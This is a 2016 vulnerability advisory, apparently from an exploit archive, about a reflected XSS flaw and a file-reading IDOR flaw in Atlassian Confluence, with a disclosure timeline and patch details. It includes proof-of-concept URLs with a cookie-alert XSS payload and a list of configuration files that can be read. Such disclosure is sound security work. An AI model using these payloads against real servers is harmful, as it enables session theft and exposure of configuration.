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Atlassian Confluence XSS / Insecure Direct Object Reference

Atlassian Confluence XSS / Insecure Direct Object Reference
Posted Jan 4, 2016
Authored by Sebastian Perez

Atlassian Confluence suffers from cross site scripting and insecure direct object reference vulnerabilities. The cross site scripting affects versions 5.2, 5.8.14, and 5.8.15. The reference vulnerability affects versions 5.9.1, 5.8.14, and 5.8.15.

tags | exploit, vulnerability, xss, info disclosure
advisories | CVE-2015-8398, CVE-2015-8399
SHA-256 | 2da920a30b4bdb3ec3de313cde7032f75edc992f015e2622f7f3b2e30469ed44

Atlassian Confluence XSS / Insecure Direct Object Reference

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[Systems Affected]
Product : Confluence
Company : Atlassian
Versions (1) : 5.2 / 5.8.14 / 5.8.15
CVSS Score (1) : 6.1 / Medium (classified by vendor)
Versions (2) : 5.9.1 / 5.8.14 / 5.8.15
CVSS Score (2) : 7.7 / High (classified by vendor)


[Product Description]
Confluence is team collaboration software, where you create,
organize and discuss work with your team. it is developed and marketed
by Atlassian.


[Vulnerabilities]
Two vulnerabilities were identified within this application:
(1) Reflected Cross-Site Scripting (CVE-2015-8398)
(2) Insecure Direct Object Reference (CVE-2015-8399)


[Advisory Timeline]
26/Oct/2015 - Discovery and vendor notification
26/Oct/2015 - Vendor replied for Cross-Site Scripting (SEC-490)
26/Oct/2015 - Issue CONF-39689 created
27/Oct/2015 - Vendor replied for Insecure Direct Object Reference
(SEC-491 / SEC-492)
27/Oct/2015 - Issue CONF-39704 created
16/Nov/2015 - Vendor confirmed that Cross-Site Scripting was fixed
19/Nov/2015 - Vendor confirmed that Insecure Direct Object
Reference was fixed


[Patch Available]
According to the vendor, upgrade to Confluence version 5.8.17


[Description of Vulnerabilities]
(1) Reflected Cross-Site Scripting
An unauthenticated reflected Cross-site scripting was found in
the REST API. The vulnerability is located at
/rest/prototype/1/session/check/ and the payload used is <img src=a
onerror=alert(document.cookie)>

[References]
CVE-2015-8398 / SEC-490 / CONF-39689

[PoC]
http://<Confluence
Server>/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%28document.cookie%29%3E


(2) Insecure Direct Object Reference
Two instances of Insecure Direct Object Reference were found
within the application, that allows any authenticated user to read
configuration files from the application

[References]
CVE-2015-8399 / SEC-491 / SEC-492 / CONF-39704

[PoC]
http://<Confluence
Server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
http://<Confluence
Server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>

This is an example of accepted <FILE> parameters
/WEB-INF/decorators.xml
/WEB-INF/glue-config.xml
/WEB-INF/server-config.wsdd
/WEB-INF/sitemesh.xml
/WEB-INF/urlrewrite.xml
/WEB-INF/web.xml
/databaseSubsystemContext.xml
/securityContext.xml
/services/statusServiceContext.xml
com/atlassian/confluence/security/SpacePermission.hbm.xml
com/atlassian/confluence/user/OSUUser.hbm.xml
com/atlassian/confluence/security/ContentPermissionSet.hbm.xml
com/atlassian/confluence/user/ConfluenceUser.hbm.xml

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